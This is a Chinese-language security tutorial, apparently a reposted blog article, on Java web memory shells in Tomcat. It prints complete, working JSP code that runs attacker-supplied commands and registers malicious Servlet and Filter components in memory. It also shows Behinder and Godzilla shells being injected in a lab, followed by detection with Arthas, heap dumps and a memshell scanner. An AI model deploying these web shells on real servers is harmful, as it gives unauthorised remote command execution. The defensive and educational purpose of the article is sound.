浅析JavaWeb内存马基础原理与查杀思路

news2025/1/15 18:27:25

文章目录

  • 前言
  • Java内存马
    • 内存马分类&原理
    • JavaWeb三大组件
    • 注入Servlet内存马
    • 注入Filter型内存马
    • JAVA Agent内存马
  • 哥斯拉木马
    • 0x01 WebShell
    • 0x02 MemShell
    • 0x03 FilterShell
    • 0x04 Arthas排查
    • 0x05 scanner查杀
  • 总结

前言

几年前写过《Web安全-一句话木马》,主要介绍了一句话木马的原理和应用,同时介绍了小马和大马这类常见 Webshell:
imagepng
随着攻防演练热度越来越高,攻防双方的博弈愈发激烈,流量分析、EDR 等专业安全设备开始被蓝方广泛使用,传统的文件上传的 webshll 或以文件形式驻留的后门越来越容易被检测到。于是内存马便顺应时势地诞生了,它是无文件攻击的一种常用手段,属于无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,这给防守方的检测带来巨大难度,因而演变成了当今攻防对抗中的主流大杀器。

Webshell 的变迁过程大致如下所述:

Web服务器管理页面——> 大马 ——> 小马拉大马 ——> 一句话木马 ——> 加密一句话木马 ——> 加密内存马

本文来学习下 Java 内存马的基础原理和在实战中的基础应用,以及当前的一些简单查杀手段。

Java内存马

内存马分类&原理

根据内存马的实现技术,大致可以分为如下几类(引用《Shell中的幽灵王者—JAVAWEB 内存马 【认知篇】》一张图):

除了按照内存马的实现方式分类,还可以按照内存马的利用方式分为:冰蝎马、哥斯拉马、蚁剑马、命令回显马、流量隧道马等等。

【内存马基本原理】

内存马类型核心原理
Servlet-API 型内存马通过命令执行漏洞、反序列化漏洞、已有传统 Webshell 木马等可以 RCE 执行命令的攻击前提,借助 Java 反射技术,在 JVM 中动态注册一个新的 listener、filter 或者servlet 组件,从而实现在内存中注入可命令执行的无落地文件类的隐蔽木马。特定框架、容器的内存马原理与此类似,如 spring 的controller 内存马,tomcat 的 valve内存马。
Java-agent 型内存马Java Agent 简单来说就是 JVM 提供的一种动态 hook class 字节码的技术,通过 Instrumentation (Java Agent API),开发者(攻击者)能够以一种无侵入的方式 (类似 Spring AOP),在 JVM 加载某个 class 之前修改其字节码的内容,或者修改已经被 JVM 加载过的 class,此技术正常情况下可被用于 Java 程序的性能监控、信息收集、问题诊断等。而 Agent 内存马的实现就是利用了这一特性,动态修改特定类的特定方法,在内存中注入恶意代码。

【内存马的优劣势】

内存马的运用场景内存马的缺点
1)由于网络原因不能反弹 shell 的;2)内部主机通过反向代理暴露 Web 端口的;3)服务器上有防篡改、目录监控等防御措施,禁止文件写入的;4)服务器上有其他监控手段,写马后会告警监控,人工响应的;5)服务使用 Springboot 等框架,无法解析传统 Webshell 的;服务重启后会失效;对于传统内存马,存在的位置相对固定,已经有相关的查杀技术可以检出

JavaWeb三大组件

JavaWeb 三大组件指的是:Servlet 程序、Filter 过滤器、Listener 监听器。
imagepng
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
imagepng
Filter 是介于 Web 容器和 Servlet 之间的过滤器,用于过滤未到达 Servlet 的请求或者由 Servlet 生成但还未返回响应。客户端请求从 Web 容器到达 Servlet 之前,会先经过 Filter,由 Filter 对 request 的某些信息进行处理之后交给 Servlet。同样,响应从 Servlet 传回 Web 容器之前,也会被 Filter 拦截,由 Filter 对 response 进行处理之后再交给 Web 容器。
imagepng
Listener 是用于监听某些特定动作的监听器。当特定动作发生时,监听该动作的监听器就会自动调用对应的方法,可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。下面是一个 HttpSession 的 Listener 示意图。
imagepng
Tomcat 作为 Servlet 容器,将 http 请求文本接收并解析,然后封装成 HttpServletRequest 类型的 request 对象,传递给 servlet;同时会将响应的信息封装为 HttpServletResponse 类型的 response 对象,然后将 response 交给 tomcat,tomcat 就会将其变成响应文本的格式发送给浏览器。
imagepng
Tomcat 简单概括 来说就是 http 服务器 + servlet 容器。下文的演示实验将均基于 Tomcat 服务器开展。

注入Servlet内存马

接下来将参考《 初识JAVA内存马》一文(强烈推荐仔细阅读),来认识下传统 JavaWeb 的 Servlet、Filter 类型内存马的注入原理与过程,环境直接使用在 Ubuntu 虚拟机上基于 Vulhub 的 Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability(CVE-2020-1938) 漏洞环境。
imagepng
先看看正常的 Servlet 组件是如何注册的,新建一个 ShellServlet 接收前端发来的 cmd 命令并回显:

package com.example.servlet;

import java.io.*;
import java.util.Scanner;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

public class ShellServlet extends HttpServlet {

    public void init(ServletConfig servletConfig) throws ServletException {}

    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        // 从HTTP请求中获取名为"cmd"的参数,该参数包含要执行的操作系统命令
        String cmd = servletRequest.getParameter("cmd");
        // 检查操作系统类型以确定要使用的命令行解释器(Windows或Linux)
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        // 根据操作系统类型创建要执行的命令
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        // 执行命令并将输出写入到字符串变量中
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        // 将命令执行结果发送回HTTP响应
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    public void destroy() {
    }
}

然后需要将这个 ShellServlet 注册进 tomcat 容器,也就是在 web.xml 中写入:

<servlet>
  <servlet-name>Getshell</servlet-name>
  <servlet-class>com.example.servlet.ShellServlet</servlet-class>
</servlet>
<servlet-mapping>
  <servlet-name>Getshell</servlet-name>
  <url-pattern>/shell</url-pattern>
</servlet-mapping>

接着访问/shell并带上 cmd 参数就可以实现命令执行了。

现在我们的目标是往当前 Tomcat 搭建的 Web 服务中动态注入一个恶意 Servlet(即内存马),完成这个目标的当前前提是已经拥有了一个 Webshell(是的,当前想要注入内存马之前还需要拥有一个传统落地文件类型的马子来实现 RCE 才行,除非可以直接借助反序列化漏洞或命令执行漏洞直接 RCE,具体可参见《Tomcat反序列化注入回显内存马》,后续会单独学习),此处为了聚焦内存马的学习(实际上是懒得一步步搭建完整的漏洞环境),直接忽略此前提,直接手动向将一个恶意 jsp 文件,实现一个恶意 Servlet 的动态注册,从而注入内存马。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>

<%!
  public class Shell2Servlet extends HttpServlet {
    public void init(ServletConfig servletConfig) throws ServletException {}

    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    public void destroy() {}
 }
%>
<%
    //通过反射获取applicationContext
    ServletContext servletContext = request.getServletContext();
    Field applicationField = servletContext.getClass().getDeclaredField("context");
    applicationField.setAccessible(true);
    ApplicationContext applicationContext =  (ApplicationContext) applicationField.get(servletContext);
    //通过反射获取standardContext
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext context =  (StandardContext) standardContextField.get(applicationContext);
    //创建wrapper,将Servlet名放到wrapper,最后实例化Shell2Servlet
    Wrapper wrapper = context.createWrapper(); 
    wrapper.setName("Shell2Servlet"); 
    wrapper.setServletClass(Shell2Servlet.class.getName()); 
    wrapper.setServlet(new Shell2Servlet());
    //将wrapper放到standardContext里
    context.addChild(wrapper);
    //映射url地址,注意如果是Tomcat7则使用addServletMapping("/shell2", "Shell2Servlet")
    context.addServletMappingDecoded("/shell2", "Shell2Servlet", false);
%>
</body>
</html>

以上恶意 shell.jsp 文件通过反射技术,动态将一个路由为 /shell2"Shell2Servlet"组件注册到目标 Web 系统的 JVM 之中,而"Shell2Servlet"组件接受了外部传递的 “cmd” 参数并执行命令(典型的 jsp 木马),从而实现命令执行。

直接将上述 shell.jsp 复制存放到 Tomcat 靶场的 /webapps/ROOT路径下:
imagepng
然后访问 shell.jsp,完成恶意 Servlet 的动态注入到 Tomcat 容器的动作,即注入内存马:
imagepng
最后成功访问我们注入的内存马:
imagepng

注入Filter型内存马

Filter 作为 Java web 三大件之一,是一种可以对请求和响应进行拦截和处理的组件。Filter可以实现许多功能,如登录控制,权限管理,过滤敏感词汇等。Filter 的使用需要实现Filter接口,重写 doFilter 方法,并且配置拦截路径。

和 servlet 类似,我们先按正常操作添加一个 Myfilter:

package com.example.filter;
import javax.servlet.*;
import java.io.IOException;

public class Myfilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Filter被执行了");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
}

需要在 web.xml 中绑定 url:

<filter>
  <filter-name>Myfilter</filter-name>
  <filter-class>com.example.filter.Myfilter</filter-class>
</filter>
<filter-mapping>
  <filter-name>Myfilter</filter-name>
  <url-pattern>/hello</url-pattern>
</filter-mapping>

此时在访问 /hello的时候 doFilter 的逻辑代码就会被调用。

接下来我们的目的是注入一个 Filter 型内存马,即借助反射技术向 Tomcat 容器中直接注册一个恶意 Filter,使得在访问任意 URL 的时候均能调用到恶意代码。这个过程自然需要去阅读 Tomcat 源码看看其是如何完成 JavaWeb 项目中的 Filter 组件的解析和注册的,详情请参考《 初识JAVA内存马》。

总的来说,Tomcat Filter 的工作流程如下:

  • 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称;
  • 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig;
  • 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain;
  • filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法;

根据上面的流程分析,不难发现最开始是从 context 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发内存马。

此处直接给出最终的恶意 shell.jsp 代码:

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class Shellfilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public void destroy() {
    }
}
%>
<%
   //拿到standardContext
   ServletContext servletContext = request.getServletContext();
   Field applicationField = servletContext.getClass().getDeclaredField("context");
   applicationField.setAccessible(true);
   ApplicationContext applicationContext =  (ApplicationContext) applicationField.get(servletContext);
   Field standardContextField = applicationContext.getClass().getDeclaredField("context");
   standardContextField.setAccessible(true);
   StandardContext standardContext =  (StandardContext) standardContextField.get(applicationContext);

   //设置filterDef
   FilterDef filterDef = new FilterDef();
   filterDef.setFilterClass(Shellfilter.class.getName());
   filterDef.setFilterName("Shellfilter");
   filterDef.setFilter(new Shellfilter());
   standardContext.addFilterDef(filterDef);

   //设置filterMap
   FilterMap filterMap = new FilterMap();
   filterMap.setFilterName("Shellfilter");
   filterMap.addURLPattern("/tr0e"); //设置要映射的url
   filterMap.setDispatcher(DispatcherType.REQUEST.name()); //设置分派类型,REQUEST表示普通的 HTTP 请求
   standardContext.addFilterMap(filterMap);

    //将standardContext和filterDef放到filterConfig中
    Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
    Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class);
    configconstructor.setAccessible(true);
    FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(standardContext,filterDef);

    //反射获取filterConfig
    Field configsfield = standardContext.getClass().getDeclaredField("filterConfigs");
    configsfield.setAccessible(true);
    Map filterConfigs = (Map) configsfield.get(standardContext);
    filterConfigs.put("Shellfilter",filterConfig);
%>
</body>
</html>

以上恶意 shell.jsp 文件通过反射技术,动态将一个路由为 /tr0e"Shellfilter"过滤器组件注册到目标 Web 系统的 JVM 之中,而"Shellfilter"过滤器组件在其 doFilter 函数中接受了外部传递的 “cmd” 参数并执行命令(典型的 jsp 木马),从而实现命令执行。

同样直接将上述 shell.jsp 放到服务器的 ROOT 根路径下,然后访问 shell.jsp,完成恶意 Filter 的注册(完成内存马的注入):
imagepng
接着访问对应的路由 “/tr0e” 并传递 “cmd” 参数执行命令即可:
imagepng

JAVA Agent内存马

前面已经简单介绍了 Java Agent 内存马的基本原理,Java 在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法。Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去。

0x01 Java Agent基础

首先推荐一篇博文:《Java Agent 从入门到内存马》,从 0 到 1 讲述了 Java Agent 基本原理和 Agent 内存马的生成,很适合像我这样第一次了解 Java Agent 内存马的新手学习。特别声明:本小节参考了此文章大部分内容。

Java agent 的使用方式有两种:

  • 实现 premain 方法,在 JVM 启动前加载。
  • 实现 agentmain 方法,在 JVM 启动后加载。

以一个简单的 premain 为例,创建一个类并且实现 premain 方法:

package com.shiroha.demo;

import java.lang.instrument.Instrumentation;

public class PreDemo {
    public static void premain(String args, Instrumentation inst) throws Exception{
        for (int i = 0; i < 10; i++) {
            System.out.println("hello I`m premain agent!!!");
        }
    }
}

需要打包成 jar,比如 agent.jar,然后使用 -javaagent:agent.jar 参数执行 hello.jar(实现逻辑就是打印 hello world),结果如下:
imagepng
可以发现在 hello.jar 输出 hello world 之前就执行了 agent.jar 的 com.shiroha.demo.PreDemo$premain 方法。
imagepng
然而这种方法存在一定的局限性——只能在启动时使用-javaagent参数指定。在实际环境中,目标的 JVM 通常都是已经启动的状态,无法预先加载premain。相比之下,agentmain 更加实用。

agentmain 不是通过 JVM 启动前的参数来指定的,官方为了实现启动后加载,提供了 Attach API,核心类是 VirtualMachine,类允许我们通过给 attach 方法传入一个 jvm 的 pid(进程id),远程连接到 jvm 上,代理类注入操作只是它众多功能中的一个,通过 loadAgent 方法也可以向 jvm 注册一个代理程序 agent。

public abstract class VirtualMachine {
    // 获得当前所有的JVM列表
    public static List<VirtualMachineDescriptor> list() { ... }

    // 根据pid连接到JVM
    public static VirtualMachine attach(String id) { ... }

    // 断开连接
    public abstract void detach() {}

    // 加载agent,agentmain方法靠的就是这个方法
    public void loadAgent(String agent) { ... }

}

通过 agentmain 注入 agent 的流程大致如下:
imagepng
与 Java Agent 相关的技术与 API 还有:

  1. Instrumentation:JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果;
  2. Javassist: JAVA programming ASSISTant 是在 Java 中编辑字节码的类库,它使 Java 程序能够在运行时定义一个新类, 并在 JVM 加载时修改类文件。我们常用到的动态特性主要是反射,在运行时查找对象属性、方法,修改作用域,通过方法名称调用方法等。在线的应用不会频繁使用反射,因为反射的性能开销较大。而还有一种和反射一样强大的特性,但是开销却很低,它就是 Javassist。

篇幅所限不展开介绍相关 API,此处直接给出一个实际的通过 Java Agent 动态修改 java 程序逻辑的案例。

先定义待注入的目标程序 hello.jar(使用 Scanner 是为了在注入前不让程序结束):

// HelloWorld.java
public class HelloWorld {
    public static void main(String[] args) {
        hello h1 = new hello();
        h1.hello();
        // 输出当前进程的 pid
        System.out.println("pid ==> " + [pid])
        // 产生中断,等待注入
        Scanner sc = new Scanner(System.in);
        sc.nextInt();
        hello h2 = new hello();
        h2.hello();
        System.out.println("ends...");
    }
}

// hello.java
public class hello {
    public void hello() {
        System.out.println("hello world");
    }
}

接着定义 Java agent 程序 agent.jar:

// AgentDemo.java
public class AgentDemo {
    public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {
        Class[] classes = inst.getAllLoadedClasses();
        // 判断类是否已经加载
        for (Class aClass : classes) {      
            if (aClass.getName().equals(TransformerDemo.editClassName)) { 
                // 添加 Transformer
                inst.addTransformer(new TransformerDemo(), true);
                // 触发 Transformer
                inst.retransformClasses(aClass);
            }
        }
    }
}

// TransformerDemo.java
// 如果在使用过程中找不到javassist包中的类,那么可以使用URLCLassLoader+反射的方式调用
public class TransformerDemo implements ClassFileTransformer {
    // 只需要修改这里就能修改别的函数
    public static final String editClassName = "com.xxxx.hello.hello";
    public static final String editClassName2 = editClassName.replace('.', '/');
    public static final String editMethod = "hello";

    @Override
    public byte[] transform(...) throws IllegalClassFormatException {
        try {
            ClassPool cp = ClassPool.getDefault();
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(ccp);
            }
            CtClass ctc = cp.get(editClassName);
            CtMethod method = ctc.getDeclaredMethod(editMethodName);
            //通过javassist技术动态修改所注入进程的函数逻辑
            String source = "{System.out.println(\"hello transformer\");}";
            method.setBody(source);
            byte[] bytes = ctc.toBytes();
            ctc.detach();
            return bytes;
        } catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

这个示例比较通用,需要更改不同的方法时只需要改变常量和 source 变量即可。

来看看效果:
imagepng
可以看到的是当第二次调用com.xxx.hello.hello#hello()的时候,输出的内容变成了hello transformer

0x02 冰蝎内存马实践

直接将冰蝎的普通 shell.jsp 复制到靶场的根路径下(省略实战中的文件上传漏洞的利用过程):
imagepng
默认连接密码:rebeyond,成功连接:
imagepng
进一步右键注入内存马:
imagepng
imagepng
imagepng
imagepng

0x03 冰蝎内存马浅析

冰蝎属于开源项目,可以下载并查看其源码,分析内存马的实现:Release Behinder_v4.1【t00ls专版】 · rebeyond/Behinder。

冰蝎内存马通过修改 javax.servlet.http.HttpServlet#service 方法,添加自己的内存马逻辑,具体的实现过程分析请参见: 《冰蝎内存webshell注入和防检测分析》。

从 injectMemShell 方法里面可以发现冰蝎通过文件上传功能,根据 OS 信息上传内置的不同 agent.jar,然后通过 loadJar 函数加载对应的恶意 agent.jar 注入到目标进程 Java 之中:
imagepng
查看对应的 resource 目录,可发现被注入的 4 个 jar 包(其具体逻辑分析此处暂且忽略):
imagepng
整体上,冰蝎内存马大致的的实现流程可简单概括如下:

  • 通过 javaassist 获取 javax.servlet.http.HttpServlet 类的字节码;
  • 向 service 方法添加字节码;
  • 清除 javaassist 缓存,调用 redefineClass 重新定义修改后的 HttpServlet 字节码;

这样,http 中间件在处理每个 http 链接的时候,就会调用修改后的 httpservlet 方法。如果发现处理的 url 为内存马需要响应的 url,则执行 webshell 处理流程,否则隐藏不执行任何操作。

哥斯拉木马

哥斯拉和冰蝎实现内存马的方式是不一样的,哥斯拉选择的是动态注册 Servlet 组件来实现内存马的注入,而冰蝎则是通过 javaagent 技术配合 javassist 技术来实现内存马的注入。详情可参见:《JAVA内存马的“一生”》和 《冰蝎内存webshell注入和防检测分析》。

接下来还是在 Ubuntu 虚拟机上借助 Vulhub 的 Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability(CVE-2020-1938) 漏洞环境上传哥斯拉的传统 Webshell 木马,并注入内存马,同时看下当前一些查杀内存马的工具与思路。
imagepng

0x01 WebShell

生成哥斯拉木马:
imagepng
借助 docker cp test.jsp 容器 id:/tmp/test.jsp 将马子传递到 docker 容器的 Tomcat 的 /Webapps/ROOT 根路径下:
imagepng
imagepng
连接木马:
imagepng
imagepng
imagepng

0x02 MemShell

借助上面哥斯拉 jsp 木马的 Webshell 会话,进一步注入内存马:
imagepng
新建 Webshell 连接测试,成功连接内存马:
imagepng
imagepng

0x03 FilterShell

顺便再上一个 FilterShell 体验下:
imagepng
查询过滤器,可以看到成功新增的过滤器,同时哥斯拉提供了删除插入的恶意 FilterShell 的功能:
imagepng
But 这个马子如何使用??根据已有信息连接不上,官方文档和公开文章也没看到相关信息……有知情大佬请赐教。

0x04 Arthas排查

Arthas 是 Alibaba 开源的 Java 诊断工具,也可用于帮助我们分析 JVM 内存中的风险数据。
imagepng
具体用法参见:https://github.com/alibaba/arthas/blob/master/README_CN.md 或者 https://arthas.aliyun.com/doc/。
与内存马排查相关的命令用法如下:

//下载arthas-boot.jar,然后用java -jar的方式启动:
curl -O https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar
//查看 Mbean 的信息,查看异常Filter/Servlet节点
mbean | grep -E "Servlet|Filter"
//搜索符合pattern的Servlet
sc *.Servlet
//搜索符合pattern的Filter
sc *.Filter
//反编译指定类的字节码,查看类的实现代码
jad --source-only org.apache.jsp.memshell_jsp
//将JVM中所有的classloader的信息统计出来,显示当前应用程序中所有的类加载器及其层次结构,可以查看每个类加载器的名称、父加载器和已加载的类数量
classloader
//heapdump生成 Java 应用程序的堆转储(Heap Dump)文件
[arthas@1]$ heapdump
Dumping heap to /usr/local/tomcat/temp/heapdump2024-04-03-03-098355333472555367560.hprof ...
Heap dump file created
[arthas@1]$

imagepng
首先借助 mbean | grep "name=/"查看 Mbean 属性信息,可以发现上面注入 Memshell 后多了个异常 servlet:
imagepng
进一步借助 sc *.Servlet命令搜索出所有已经加载到 JVM 中的 Servlet Class 信息,发现原来注入的 Webshell 文件 test.jsp:
imagepng
也可以使用 sc *.Filter查看所有的 Filter,看到了可疑的 Filter:org.apache.coyote.deser.std.StdScalarDeserializer(名字伪造得很像合法的了):
imagepng
使用 Arthas 提供的 jad 命令直接反编译查看源码,以jad org.apache.coyote.deser.std.StdScalarDeserializer为例(实际上 org.apache.coyote.introspect.WithMember 也属于恶意 FilterShell):
imagepng
imagepng
imagepng
还可以通过 classloader 命令将 JVM 中所有的 classloader 的信息统计出来:
imagepng
最后有个终极排查思路,就是内存 dump,不管内存马如何 hook,但是内存🐴肯定是在内存中的。通过 Arthas 提供的 heapdump 命令生成 Java 应用程序的堆转储(Heap Dump)文件:

[arthas@1]$ heapdump
Dumping heap to /usr/local/tomcat/temp/heapdump2024-04-03-03-098355333472555367560.hprof ...
Heap dump file created
[arthas@1]$

拖到宿主机进行检索,可使用 string 查看 POST 请求的记录,排查可疑的请求目录:

strings /home/sbw/Downloads/test.hprof|grep "POST /"
//搜索webapps下的文件请求,排查是否有异常的可疑文件
strings /home/sbw/Downloads/test.hprof|grep -E "/webapps/.*?!" | sort -u

如下发现了哥斯拉 Webshell 的连接请求:
imagepng

0x05 scanner查杀

c0ny1 师傅编写的工具:java-memshell-scanner,通过 jsp 脚本扫描 java web Filter/Servlet 型内存马,原理分析:Filter/Servlet型内存马的扫描抓捕与查杀。
imagepng

sbw@ubuntu:~/Downloads$ docker cp tomcat-memshell-scanner.jsp ef:/usr/local/tomcat/webapps/ROOT
Successfully copied 21.5kB to ef:/usr/local/tomcat/webapps/ROOT
sbw@ubuntu:~/Downloads$

访问 tomcat-memshell-scanner,成功识别出来上面注入的 Memshell 和 FilterShell 两个内存马:
imagepng
点击对应的 kill 按钮可以直接清除对应的内存马,注销 Servlet 的大致原理是,通过反射调用,将该 Servlet 从全局 servletMappings 和 children 中清除掉即可:
imagepng
imagepng
最后,顺便实践看下冰蝎注入的内存马能否被此脚本检测出来:
imagepng
imagepng

【More】 了解更多 Java 内存马的实现原理,请参见:《JAVA内存马的“一生”》、《JavaWeb 内存马一周目通关攻略 | 素十八》、《Java内存马攻防实战—攻击基础篇》和 《冰蝎内存webshell注入和防检测分析》。

总结

传统的 Webshell 后门,无论如何花费心思隐藏、如何变化,在现有的防御措施下都已经无法有效长期在目标系统内存留,防御措施简单列举:

  • 对于终端安全:有文件监控、防篡改、EDR;
  • 对于后门:有 Webshell 查杀、流量监测;
  • 对于网络层面:有防火墙防止反连、反向代理系统隐藏真实 IP 等等。

目前主流的防御措施针对 Webshell 的静态检出率在 90% 以上,在部分环境下甚至完全无法落地,防御方可以做到快速应急响应。正因为这些限制,内存马技术得以诞生并快速发展,无文件攻击、内存 Webshell、进程注入等基于内存的攻击手段也受到了越来越多攻击者青睐,在实战环境中已占得一席之地。

【内存马的排查思路】

作为应急或者运维人员,当遇到疑似内存马的安全事件时,该如何去快速确认内存马是否存在以及确认内存马的位置呢?大体思路如下。

  1. 先查看检查服务器 web 日志,查看是否有可疑的 web 访问日志,比如说 filter 或者 listener 类型的内存马,会有大量 url 请求路径相同参数不同的,或者通过查找返回 200 的 url 路径对比 web 目录下是否真实存在文件,如不存在大概率为内存马。
  2. 在 java 中只有被 JVM 加载后的类才能被调用,或者在需要时通过反射通知 JVM 加载,所以特征都在内存中,表现形式为被加载的 class,因此产生一个检测思路:dump JVM 已加载 class 字节码->反编译成 java 代码-> 源码 webshell 检测。

目前常用的哥斯拉、冰蝎、蚁剑等常用的 Webshell 管理工具,都提供了一键打入内存马的功能,但是同时也存在一个致命的逻辑上的“问题”:要先有文件型 webshell,再植入内存马,这是不是违背了使用内存马技术的初衷?

攻防实战中是否也一定要通过落地 JSP 再使用 Webshell 管理软件进行内存马注入?能否实现完全无落地文件便注入内存马?答案是当然的,比如我们也可以直接借助反序列化漏洞或命令执行漏洞等 RCE 漏洞直接植入内存马,具体可参见《Tomcat反序列化注入回显内存马》,后续会结合反序列化漏洞进行单独学习。

本文参考文章:

  1. Shell中的幽灵王者—Java内存马_认知篇;
  2. 一文看懂内存马 - FreeBuf网络安全行业门户;
  3. 初识JAVA内存马_JavaWeb传统内存马从0到1;
  4. Java Agent 从入门到内存马;
  5. 干货|冰蝎、哥斯拉 内存马应急排查;
  6. 内存马检测排查手段;
  7. Java内存马攻防实战_攻击基础篇_全;
  8. JAVA内存马的“一生”(很全面);
  9. JavaWeb 内存马一周目通关攻略 | 素十八;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1569709.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大意了MySQL关键字EXPLAIN

一、问题 然后explain带了单引号、以区别其关键字 二、报错如下 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near explain, us.nickname AS user_send_nickname, ua.nickname…

探索未来智慧酒店网项目接口架构

在数字化时代&#xff0c;智慧酒店已成为酒店业发展的重要趋势之一。智慧酒店网项目接口架构作为支撑智慧酒店运营的核心技术之一&#xff0c;其设计和优化对于提升用户体验、提高管理效率具有重要意义。本文将深入探讨智慧酒店网项目接口架构的设计理念和关键要素。 ### 智慧…

上位机图像处理和嵌入式模块部署(qmacvisual并发执行)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 类似于qmacvisual这样的软件&#xff0c;其实价格并不便宜。比如大家熟知的halcon、vision pro、vision master这样的软件&#xff0c;最便宜的版本…

练习实践-TLS02-会话恢复的两种形式-Session ID/SessionTicket

参考来源&#xff1a; 书籍&#xff1a;深入浅出https-从原理到实战&#xff08;作者&#xff1a;虞卫东&#xff09; 抓包分析文件可下载&#xff0c;来自github上的作者上传资源 会话恢复机制的背景 当客户端和服务器端握手成功&#xff0c;建立了一个完整的 TLS 连接&…

基于keepalived+gtid+双vip半同步主从复制的MySQL高性能集群

